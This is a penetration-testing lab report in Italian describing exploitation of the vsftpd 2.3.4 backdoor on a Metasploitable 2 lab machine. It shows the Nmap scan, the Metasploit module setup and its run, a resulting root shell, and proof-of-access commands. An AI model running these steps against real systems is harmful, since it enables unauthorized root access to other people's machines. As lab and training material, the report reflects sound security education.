

# Rapporto Tecnico: Exploitation del Servizio vsftpd 2.3.4

**Analista:** Bejte Gerald

**Data:** 19 Gennaio 2026

**Target:** 192.168.1.149 (Metasploitable 2)

**Ambito:** Laboratorio di Penetration Testing

## 1. Introduzione ed Obiettivi

L'attività ha avuto come scopo l'identificazione e lo sfruttamento di una vulnerabilità nota nel servizio FTP della macchina target. L'operazione è stata condotta simulando un attacco esterno volto all'ottenimento di privilegi amministrativi (`root`) sul sistema operativo, concludendosi con la creazione di una directory di test nella root del file system.

## 2. Metodologia di Analisi

Il processo è stato suddiviso in tre fasi principali: Ricognizione, Exploitation e Post-Exploitation.

Parametro	Valore
IP Macchina d'Attacco (Kali)	192.168.1.10
IP Target (Metasploitable)	192.168.1.149
Connettività	Verificata tramite ICMP (Ping) con 0% packet loss.

```

(kali㉿kali)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether ba:42:7e:5a:a1:14 brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.10/24 brd 192.168.1.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
    inet6 2001:b07:646a:363d:a17f:9680:a384:725c/64 scope global dynamic noprefixroute
        valid_lft 86183sec preferred_lft 86183sec
    inet6 fe80::83ce:3f26:3be8:f310/64 scope link noprefixroute
        valid_lft forever preferred_lft forever

```

```

(kali㉿kali)-[~]
$ ping 192.168.1.149
PING 192.168.1.149 (192.168.1.149) 56(84) bytes of data.
64 bytes from 192.168.1.149: icmp_seq=1 ttl=64 time=4.16 ms
64 bytes from 192.168.1.149: icmp_seq=2 ttl=64 time=1.37 ms
64 bytes from 192.168.1.149: icmp_seq=3 ttl=64 time=1.15 ms
64 bytes from 192.168.1.149: icmp_seq=4 ttl=64 time=0.995 ms
64 bytes from 192.168.1.149: icmp_seq=5 ttl=64 time=1.38 ms
^C
— 192.168.1.149 ping statistics —
5 packets transmitted, 5 received, 0% packet loss, time 4014ms
rtt min/avg/max/mdev = 0.995/1.810/4.156/1.181 ms

```

### 3. Ricognizione e Vulnerability Analysis

Utilizzando lo strumento **Nmap**, è stata effettuata una scansione mirata sulla porta 21 per identificare la versione del servizio FTP.

- **Servizio Identificato:** vsftpd 2.3.4
- **Vulnerabilità Rilevata:** Porta 21 Open

```
Session Actions Edit View Help
(kali㉿kali)-[~]
$ nmap -sV -p 21 192.168.1.149
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-19 10:39 -0500
Nmap scan report for 192.168.1.149
Host is up (0.0014s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
MAC Address: 3E:12:D0:62:B2:20 (Unknown)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.88 seconds

(kali㉿kali)-[~]
$
```

---

## 4. Fase di Exploitation (Esecuzione dell'Attacco)

Per automatizzare l'attacco è stato impiegato il framework **Metasploit**.

### Che cos'è Metasploit?

**Metasploit** è il framework di *penetration testing* più diffuso al mondo. È una piattaforma modulare che permette di automatizzare le fasi di un attacco informatico: dalla scoperta delle falle alla gestione dei sistemi compromessi.

Per usare Metasploit, bisogna comprendere come interagiscono i suoi moduli principali:

- **Exploit:** È il codice che sfrutta una specifica vulnerabilità (un errore di programmazione) per forzare un servizio o un sistema operativo.
- **Payload:** È il software "caricato" sul bersaglio dopo che l'exploit ha aperto un varco. Determina cosa puoi fare sul sistema (es. ottenere una shell di comando o una sessione Meterpreter).
- **Auxiliary:** Moduli utilizzati per attività di supporto che non caricano payload, come la scansione delle porte (**port scanning**) o l'identificazione delle versioni dei software (**banner grabbing**).

### Il flusso di lavoro (Workflow)

In un esercizio come questo su **vsftpd**, il processo segue sempre questo schema logico:

1. **Scanning:** Identifichi il servizio e la sua versione (es. vsftpd 2.3.4).
2. **Selection:** Scegli nel framework l'exploit corrispondente a quella versione.
3. **Configuration:** Imposti i parametri necessari, come l'indirizzo IP del target (RHOSTS).
4. **Execution:** Lanci l'attacco (**run** o **exploit**) per ottenere l'accesso remoto.

## Perché si usa?

Permette ai professionisti della sicurezza di verificare la reale "sfruttabilità" di una vulnerabilità, fornendo prove concrete (come la creazione della cartella `/test_metasploit`) della debolezza di un sistema.

## Configurazione del Modulo:

- **Modulo:** `exploit/unix/ftp/vsftpd_234_backdoor`
- **Parametri:**
  - `set RHOSTS 192.168.1.149`
- **Esecuzione:** Al lancio del comando `run`, l'exploit ha innescato la backdoor e stabilito una sessione di comando.

```
Session Actions Edit View Help
# Name Disclosure Date Rank Check Description
- - - - -
0 auxiliary/dos/ftp/vsftpd_232 2011-02-03 normal Yes VSFTPD 2.3.2 Denial of Service
1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
----
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name Current Setting Required Description
----
CHOST no The local client address
CPORT no The local client port
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
RHOSTS 192.168.1.149 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name
--
0 Automatic

View the full module info with the info, or info -d command.
```

---

## 5. Post-Exploitation e Operazioni sul Target

Una volta ottenuto l'accesso, è stata verificata l'identità dell'utente, risultando in privilegi di tipo **root** (amministratore di sistema).

### Azioni Intraprese:

Come richiesto dalla traccia, è stata eseguita la manipolazione del file system:

1. **Navigazione:** Accesso alla directory radice (**cd /**).
2. **Creazione Directory:** Esecuzione del comando per generare la cartella di test.

```
[ metasploit v0.14.103 dev ]
+ -- ==[ 2,584 exploits - 1,319 auxiliary - 1,697 payloads ]
+ -- ==[ 434 post - 49 encoders - 14 nops - 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank      Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal   Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor
msf > 
```

```
msf exploit(unix/ftp/Vsftpd_234_backdoor) > exploit
[*] 192.168.1.149:21 - The port used by the backdoor bind listener is already open
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.10:41671 → 192.168.1.149:6200) at 2026-01-19 10:46:16 -0500

pwd
/
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
whoami
root
mkdir /test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```